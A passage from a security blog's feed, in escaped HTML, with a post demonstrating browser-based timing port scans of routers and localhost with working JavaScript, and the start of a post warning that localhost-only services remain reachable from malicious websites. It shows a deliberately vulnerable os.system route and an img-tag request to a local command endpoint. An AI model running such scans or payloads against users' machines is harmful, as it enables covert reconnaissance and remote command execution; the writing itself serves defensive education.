&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onreadystatechange&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OPENED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;tStart&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DONE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tDelta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tStart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;http://127.0.0.1:2222&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You can play with the following demo:&lt;/p&gt;

&lt;style&gt;
.timing .url {
	width: 50%;
}

.timing label {
	display: inline-block;
	width: 10%;
}

.timing .output {
	margin-left: 10px;
}

.timing button {
	margin-top: 10px;
}

.timing {
	padding-bottom: 10px;
	padding-top: 10px;
}

.timing .url {
	padding: 3px;
}
&lt;/style&gt;

&lt;script&gt;

function timeURL(url, times, callbackDone, callbackProgress)
{
	var total = 0;
	var counter = 0;
	var start = 0;
	var startTime = 0;

	var spawnXHR = function() {
		var x = new XMLHttpRequest();
		x.onreadystatechange = function() {
			if (x.readyState === XMLHttpRequest.OPENED) {
				startTime = performance.now();
			} else if (x.readyState === XMLHttpRequest.DONE) {
				if (startTime === 0) {
					alert(&quot;Didn't receive OPENED ready state event!&quot;);
				} else {
					total += performance.now() - startTime;
					startTime = 0;
					counter++;
					if (counter != times) {
						spawnXHR();
						callbackProgress(total / counter, counter);
					} else {
						var avg = total / times;
						//console.log(&quot;Timing &quot; + url + &quot; done with &quot; + avg + &quot; ms&quot;);
						callbackDone(total / times);
					}
				}
			}
		}
		x.open(&quot;GET&quot;, url, true);
		x.send();
	}

	spawnXHR();
}

function runTimingScan(button)
{
	var msFormat = function(x) { return x.toFixed(3) + &quot; ms&quot;; };

	var root = $(button).parent();
	var $button = $(root).children(&quot;button&quot;);
	var $positive = $(root).children(&quot;[name=positive]&quot;);
	var $negative = $(root).children(&quot;[name=negative]&quot;);
	var $posOut = $positive.next(&quot;.output&quot;);
	var $negOut = $negative.next(&quot;.output&quot;);
	var posURL = $positive.val();
	var negURL = $negative.val();
	var nattempts = $(root).children(&quot;[name=nattempts]&quot;).val();
	console.log(&quot;Starting scan of &quot; + posURL + &quot; vs &quot; + negURL + &quot; with &quot; + nattempts + &quot; attempts&quot;);
	$button.attr(&quot;disabled&quot;, &quot;disabled&quot;);

	var progressCb = function(output) {
		return function(result, counter) {
			console.log(result, counter);
			output.text(msFormat(result) + &quot;   &quot; + counter + &quot;/&quot; + nattempts);
		}
	}

	timeURL(posURL, nattempts, function(result) {
		$posOut.text(msFormat(result));
		timeURL(negURL, nattempts, function(result) {
			$negOut.text(msFormat(result));
			$button.removeAttr(&quot;disabled&quot;);
		}, progressCb($negOut))
	}, progressCb($posOut));
}

&lt;/script&gt;

&lt;figure id=&quot;timing_http&quot; class=&quot;timing highlight&quot;&gt;

&lt;label for=&quot;positive&quot;&gt;Positive&lt;/label&gt;
&lt;input name=&quot;positive&quot; class=&quot;url&quot; type=&quot;text&quot; value=&quot;http://192.168.1.1/cgi-bin/luci&quot; /&gt;
&lt;span class=&quot;output&quot;&gt;?&lt;/span&gt;
&lt;br /&gt;

&lt;label for=&quot;negative&quot;&gt;Negative&lt;/label&gt;
&lt;input name=&quot;negative&quot; class=&quot;url&quot; type=&quot;text&quot; value=&quot;http://192.168.1.1/notexisting&quot; /&gt;
&lt;span class=&quot;output&quot;&gt;?&lt;/span&gt;
&lt;br /&gt;

&lt;label for=&quot;nattempts&quot;&gt;Attempts&lt;/label&gt;
&lt;input name=&quot;nattempts&quot; type=&quot;number&quot; min=&quot;1&quot; max=&quot;10000&quot; step=&quot;10&quot; value=&quot;20&quot; /&gt;
&lt;button onclick=&quot;runTimingScan(this)&quot;&gt;Scan&lt;/button&gt;
&lt;/figure&gt;

&lt;p&gt;For my TP-Link TL-WR1043ND this yields about 171 ms for the positive case and 43 ms for
the negative case.&lt;/p&gt;

&lt;p&gt;Of course this is child’s play — SOHO routers are really slow devices and
the timing differences are large.&lt;/p&gt;

&lt;p&gt;This method is sensitive enough to figure out whether there is a TCP service
running on localhost. This makes sense, as the browser still needs to perform
at least one “network” roundtrip for these cases.&lt;/p&gt;

&lt;p&gt;The demo below demonstrates this for OpenSSH running on port 2222.&lt;/p&gt;

&lt;figure id=&quot;timing_port&quot; class=&quot;timing highlight&quot;&gt;
&lt;label for=&quot;positive&quot;&gt;Positive&lt;/label&gt;
&lt;input name=&quot;positive&quot; class=&quot;url&quot; type=&quot;text&quot; value=&quot;http://127.0.0.1:2222&quot; /&gt;
&lt;span class=&quot;output&quot;&gt;?&lt;/span&gt;
&lt;br /&gt;

&lt;label for=&quot;negative&quot;&gt;Negative&lt;/label&gt;
&lt;input name=&quot;negative&quot; class=&quot;url&quot; type=&quot;text&quot; value=&quot;http://127.0.0.1:3333&quot; /&gt;
&lt;span class=&quot;output&quot;&gt;?&lt;/span&gt;
&lt;br /&gt;

&lt;label for=&quot;nattempts&quot;&gt;Attempts&lt;/label&gt;
&lt;input name=&quot;nattempts&quot; type=&quot;number&quot; min=&quot;1&quot; max=&quot;10000&quot; step=&quot;100&quot; value=&quot;500&quot; /&gt;
&lt;button onclick=&quot;runTimingScan(this)&quot;&gt;Scan&lt;/button&gt;
&lt;/figure&gt;

&lt;p&gt;With Chromium on Linux I am getting around 6.5 ms for OpenSSH and 1.6 ms
for the negative port.&lt;/p&gt;

&lt;p&gt;This technique is somewhat restricted in modern browsers as they
straight out refuse to connect to ports on the “unsafe”
&lt;a href=&quot;http://tech-stuff.org/which-ports-are-considered-unsafe-in-browsers/&quot;&gt;list&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;local-ports&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;The final demo below scans around 800 “interesting” ports (whatever nmap does
by default) on 127.0.0.1. The pixel color is based on sliding window median
of the measured time-to-failure values.
The code is fairly hacky, so don’t expect any miracles.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Edit: Firefox &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Performance/now&quot;&gt;limits&lt;/a&gt;
resolution of &lt;code&gt;performance.now()&lt;/code&gt; to 2 ms, which seems insufficient for this demo
to work. It might still be possible to get it working by acquiring more samples and
performing some better processing to remove the quantization noise.&lt;/em&gt;&lt;/p&gt;

&lt;script&gt;

// Taken from nmap
var PORTS = [
	   1,    3,    4,    6,    7,    9,   13,   17,   19,   20, 
	  21,   22,   23,   24,   25,   26,   30,   32,   33,   37, 
	  42,   43,   49,   53,   70,   79,   80,   81,   82,   83, 
	  84,   85,   88,   89,   90,   99,  100,  106,  109,  110, 
	 111,  113,  119,  125,  135,  139,  143,  144,  146,  161, 
	 163,  179,  199,  211,  212,  222,  254,  255,  256,  259, 
	 264,  280,  301,  306,  311,  340,  366,  389,  406,  407, 
	 416,  417,  425,  427,  443,  444,  445,  458,  464,  465, 
	 481,  497,  500,  512,  513,  514,  515,  524,  541,  543, 
	 544,  545,  548,  554,  555,  563,  587,  593,  616,  617, 
	 625,  631,  636,  646,  648,  666,  667,  668,  683,  687, 
	 691,  700,  705,  711,  714,  720,  722,  726,  749,  765, 
	 777,  783,  787,  800,  801,  808,  843,  873,  880,  888, 
	 898,  900,  901,  902,  903,  911,  912,  981,  987,  990, 
	 992,  993,  995,  999, 1000, 1001, 1002, 1007, 1009, 1010, 
	1011, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 
	1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 
	1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 
	1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 
	1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 
	1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 
	1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 
	1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 
	1100, 1102, 1104, 1105, 1106, 1107, 1108, 1110, 1111, 1112, 
	1113, 1114, 1117, 1119, 1121, 1122, 1123, 1124, 1126, 1130, 
	1131, 1132, 1137, 1138, 1141, 1145, 1147, 1148, 1149, 1151, 
	1152, 1154, 1163, 1164, 1165, 1166, 1169, 1174, 1175, 1183, 
	1185, 1186, 1187, 1192, 1198, 1199, 1201, 1213, 1216, 1217, 
	1218, 1233, 1234, 1236, 1244, 1247, 1248, 1259, 1271, 1272, 
	1277, 1287, 1296, 1300, 1301, 1309, 1310, 1311, 1322, 1328, 
	1334, 1352, 1417, 1433, 1434, 1443, 1455, 1461, 1494, 1500, 
	1501, 1503, 1521, 1524, 1533, 1556, 1580, 1583, 1594, 1600, 
	1641, 1658, 1666, 1687, 1688, 1700, 1717, 1718, 1719, 1720, 
	1721, 1723, 1755, 1761, 1782, 1783, 1801, 1805, 1812, 1839, 
	1840, 1862, 1863, 1864, 1875, 1900, 1914, 1935, 1947, 1971, 
	1972, 1974, 1984, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 
	2005, 2006, 2007, 2008, 2009, 2010, 2013, 2020, 2021, 2022, 
	2030, 2033, 2034, 2035, 2038, 2040, 2041, 2042, 2043, 2045, 
	2046, 2047, 2048, 2049, 2065, 2068, 2099, 2100, 2103, 2105, 
	2106, 2107, 2111, 2119, 2121, 2126, 2135, 2144, 2160, 2161, 
	2170, 2179, 2190, 2191, 2196, 2200, 2222, 2251, 2260, 2288, 
	2301, 2323, 2366, 2381, 2382, 2383, 2393, 2394, 2399, 2401, 
	2492, 2500, 2522, 2525, 2557, 2601, 2602, 2604, 2605, 2607, 
	2608, 2638, 2701, 2702, 2710, 2717, 2718, 2725, 2800, 2809, 
	2811, 2869, 2875, 2909, 2910, 2920, 2967, 2968, 2998, 3000, 
	3001, 3003, 3005, 3006, 3007, 3011, 3013, 3017, 3030, 3031, 
	3052, 3071, 3077, 3128, 3168, 3211, 3221, 3260, 3261, 3268, 
	3269, 3283, 3300, 3301, 3306, 3322, 3323, 3324, 3325, 3333, 
	3351, 3367, 3369, 3370, 3371, 3372, 3389, 3390, 3404, 3476, 
	3493, 3517, 3527, 3546, 3551, 3580, 3659, 3689, 3690, 3703, 
	3737, 3766, 3784, 3800, 3801, 3809, 3814, 3826, 3827, 3828, 
	3851, 3869, 3871, 3878, 3880, 3889, 3905, 3914, 3918, 3920, 
	3945, 3971, 3986, 3995, 3998, 4000, 4001, 4002, 4003, 4004, 
	4005, 4006, 4045, 4111, 4125, 4126, 4129, 4224, 4242, 4279, 
	4321, 4343, 4443, 4444, 4445, 4446, 4449, 4550, 4567, 4662, 
	4848, 4899, 4900, 4998, 5000, 5001, 5002, 5003, 5004, 5009, 
	5030, 5033, 5050, 5051, 5054, 5060, 5061, 5080, 5087, 5100, 
	5101, 5102, 5120, 5190, 5200, 5214, 5221, 5222, 5225, 5226, 
	5269, 5280, 5298, 5357, 5405, 5414, 5431, 5432, 5440, 5500, 
	5510, 5544, 5550, 5555, 5560, 5566, 5631, 5633, 5666, 5678, 
	5679, 5718, 5730, 5800, 5801, 5802, 5810, 5811, 5815, 5822, 
	5825, 5850, 5859, 5862, 5877, 5900, 5901, 5902, 5903, 5904, 
	5906, 5907, 5910, 5911, 5915, 5922, 5925, 5950, 5952, 5959, 
	5960, 5961, 5962, 5963, 5987, 5988, 5989, 5998, 5999, 6000, 
	6001, 6002, 6003, 6004, 6005, 6006, 6007, 6009, 6025, 6059, 
	6100, 6101, 6106, 6112, 6123, 6129, 6156, 6346, 6389, 6502, 
	6510, 6543, 6547, 6565, 6566, 6567, 6580, 6646, 6666, 6667, 
	6668, 6669, 6689, 6692, 6699, 6779, 6788, 6789, 6792, 6839, 
	6881, 6901, 6969, 7000, 7001, 7002, 7004, 7007, 7019, 7025, 
	7070, 7100, 7103, 7106, 7200, 7201, 7402, 7435, 7443, 7496, 
	7512, 7625, 7627, 7676, 7741, 7777, 7778, 7800, 7911, 7920, 
	7921, 7937, 7938, 7999, 8000, 8001, 8002, 8007, 8008, 8009, 
	8010, 8011, 8021, 8022, 8031, 8042, 8045, 8080, 8081, 8082, 
	8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8093, 8099, 
	8100, 8180, 8181, 8192, 8193, 8194, 8200, 8222, 8254, 8290, 
	8291, 8292, 8300, 8333, 8383, 8400, 8402, 8443, 8500, 8600, 
	8649, 8651, 8652, 8654, 8701, 8800, 8873, 8888, 8899, 8994, 
	9000, 9001, 9002, 9003, 9009, 9010, 9011, 9040, 9050, 9071, 
	9080, 9081, 9090, 9091, 9099, 9100, 9101, 9102, 9103, 9110, 
	9111, 9200, 9207, 9220, 9290, 9415, 9418, 9485, 9500, 9502, 
	9503, 9535, 9575, 9593, 9594, 9595, 9618, 9666, 9876, 9877, 
	9878, 9898, 9900, 9917, 9929, 9943, 9944, 9968, 9998, 9999
]

$(document).ready(function() {
	for (var i = 0; i &lt; PORTS.length; i++) {
		$(&quot;&lt;div class=\&quot;square\&quot;&gt; &lt;/div&gt;&quot;)
			.data(&quot;time&quot;, -1)
			.data(&quot;times&quot;, [])
			.data(&quot;port&quot;, PORTS[i])
			.appendTo($(&quot;#scanner&quot;));
	}
})

function runPortScan() {
	var MAX_RUNNING = 1;
	var DECAY = 0.95;
	var nRunning = 0;
	var nCompleted = 0;
	var $squares = $(&quot;#scanner .square&quot;)
	var totalAverage = 0.0;

	var maxVal = 10.0;
	var minVal = 0.0;

	function heatColor(value) {
		value = (value - minVal) / (maxVal - minVal)
		value = Math.max(Math.min(value, 1.0), 0.0)
		// https://stackoverflow.com/questions/12875486/what-is-the-algorithm-to-create-colors-for-a-heatmap
		var h = (1.0 - value) * 240;
		return &quot;hsl(&quot; + h + &quot;, 100%, 50%)&quot;;
	}

	var index = 0;

	var spawnXHR = function() {
		nRunning++;
		//var $square = $($squares[Math.floor(Math.random()*$squares.length)]);
		var $square = $($squares[index]);
		index++;
		if (index &gt;= $squares.length) {
			index = 0;
			var sorted = $(&quot;.square&quot;).sort(function(a, b) {
				return $(a).data(&quot;time&quot;) - $(b).data(&quot;time&quot;);
			})
			minVal = $(sorted[0]).data(&quot;time&quot;)
			maxVal = $(sorted[sorted.length-1]).data(&quot;time&quot;)
		}
		var port = $square.data(&quot;port&quot;);

		var x = new XMLHttpRequest();
		var startTime = 0;
		x.onreadystatechange = function() {
			if (x.readyState === XMLHttpRequest.OPENED) {
				startTime = performance.now();
			} else if (x.readyState === XMLHttpRequest.DONE) {
				if (startTime === 0) {
					// WTF?
				} else {
					nRunning--;
					nCompleted++;
					var nRounds = Math.floor(nCompleted / $squares.length);

					var tDelta = performance.now() - startTime;

					var times = $square.data(&quot;times&quot;);
					times.push(tDelta)
					if (times.length &gt; 100) {
						times.shift()
					}

					var sorted = times.slice();
					sorted.sort(function(a, b) { return a - b; });
					var tMed = sorted[Math.floor(sorted.length / 2)];

					totalAverage = totalAverage * DECAY + (1.0 - DECAY) * tMed;

					$square.data(&quot;time&quot;, tMed);
					$square.attr(&quot;title&quot;, port + &quot;: &quot; + tMed.toFixed(1) + &quot; ms &quot; + tDelta.toFixed(1) + &quot; ms&quot;);
					$square.css(&quot;background-color&quot;, heatColor(tMed))

					$(&quot;#scannercompleted&quot;).text(nRounds + &quot; rounds (avg &quot; + totalAverage.toFixed(1) + &quot; ms)&quot;);

					while (nRunning &lt; MAX_RUNNING) {
						spawnXHR();
					}
				}
			}
		}
		x.open(&quot;GET&quot;, &quot;http://127.0.0.1:&quot;+port, true);
		x.send();
	}

	spawnXHR();
}

&lt;/script&gt;

&lt;style&gt;
#scanner {
	width: 100%;
	display: flex;
	flex-wrap: wrap;
}

#scanner .square {
	width: 10px;
	height: 10px;
	display: block-inline;
	background-color: black;
	margin: 2px;
	cursor: pointer;
}
&lt;/style&gt;

&lt;p&gt;&lt;button onclick=&quot;runPortScan()&quot;&gt;Scan localhost&lt;/button&gt;
&lt;span id=&quot;scannercompleted&quot;&gt;-&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;scanner&quot;&gt;
&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;On my box, the result after a few dozen rounds looks like this. The three bright
pixels are OpenSSH (2222), Jekyll (4000) and TensorBoard (6006) respectively.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/browser-port-scan/scan.png&quot;&gt;&lt;img src=&quot;/images/browser-port-scan/scan_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 23 Apr 2018 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/browser-port-scan/</link>
        <guid isPermaLink="true">https://blog.atx.name/browser-port-scan/</guid>
        
        
      </item>
    
      <item>
        <title>Don't just bind to localhost</title>
        <description>&lt;style&gt;

.mermaid .labelBox {
	visibility: hidden;
}

.mermaid .labelText {
	visibility: hidden;
}

&lt;/style&gt;

&lt;p&gt;This post is about a pet peeve of mine — local applications which expose
various (not only) HTTP services by binding to the loopback interface without
considering the “standard” attack vectors which web applications should
be protected against.&lt;/p&gt;

&lt;h2 id=&quot;basic-case&quot;&gt;Basic case&lt;/h2&gt;

&lt;p&gt;Let’s say you have code approximating the following.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;/run/&amp;lt;cmd&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For an outside-facing application, this surely looks ridiculous. However, we
are binding to the loopback interface, so nothing can possibly go wrong right?&lt;/p&gt;

&lt;p&gt;This is an &lt;a href=&quot;https://github.com/mopidy/mopidy/issues/1659&quot;&gt;all&lt;/a&gt; too &lt;a href=&quot;https://github.com/radare/radare2/issues/4336&quot;&gt;common&lt;/a&gt;
of an &lt;a href=&quot;https://github.com/Netflix/flamescope/issues/7&quot;&gt;assumption&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If the user of the application is using a browser on the same machine (very
reasonable expectation in most cases),
any website they visit can execute a request to &lt;code&gt;127.0.0.0:8080/run/do_evil&lt;/code&gt;!
Cross origin policy is going to prevent the requesting website from reading
the response contents, but as the damage has been already done when executing
the request, that’s not really relevant.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;http://127.0.0.1:8080/run/do_evil&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;mermaid&quot;&gt;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; id=&quot;mermaid-1610218757377&quot; width=&quot;100%&quot; height=&quot;100%&quot; style=&quot;max-width:650px;&quot; viewBox=&quot;-50 -10 650 225&quot;&gt;
&lt;g /&gt;
&lt;g&gt;
&lt;line id=&quot;actor0&quot; x1=&quot;75&quot; y1=&quot;5&quot; x2=&quot;75&quot; y2=&quot;205&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;75&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Local application&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line id=&quot;actor1&quot; x1=&quot;275&quot; y1=&quot;5&quot; x2=&quot;275&quot; y2=&quot;205&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;200&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;275&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;275&quot; dy=&quot;0&quot;&gt;User (Browser)&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line id=&quot;actor2&quot; x1=&quot;475&quot; y1=&quot;5&quot; x2=&quot;475&quot; y2=&quot;205&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;400&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;475&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;475&quot; dy=&quot;0&quot;&gt;Malicious website&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;defs&gt;
&lt;marker id=&quot;arrowhead&quot; refX=&quot;5&quot; refY=&quot;2&quot; markerWidth=&quot;6&quot; markerHeight=&quot;4&quot; orient=&quot;auto&quot;&gt;
&lt;path d=&quot;M 0,0 V 4 L6,2 Z&quot; /&gt;
&lt;/marker&gt;
&lt;/defs&gt;
&lt;defs&gt;
&lt;marker id=&quot;crosshead&quot; markerWidth=&quot;15&quot; markerHeight=&quot;8&quot; orient=&quot;auto&quot; refX=&quot;16&quot; refY=&quot;4&quot;&gt;
&lt;path fill=&quot;black&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1px&quot; d=&quot;M 9,2 V 6 L16,4 Z&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;
&lt;path fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1px&quot; d=&quot;M 0,1 L 6,7 M 6,1 L 0,7&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;
&lt;/marker&gt;
&lt;/defs&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;93&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;Go to www.evil.com&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;100&quot; x2=&quot;475&quot; y2=&quot;100&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;128&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;Malicious JavaScript&lt;/text&gt;
&lt;line x1=&quot;475&quot; y1=&quot;135&quot; x2=&quot;275&quot; y2=&quot;135&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;175&quot; y=&quot;188&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;HTTP Requests&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;195&quot; x2=&quot;75&quot; y2=&quot;195&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;65&quot; y1=&quot;145&quot; x2=&quot;285&quot; y2=&quot;145&quot; class=&quot;loopLine&quot; /&gt;
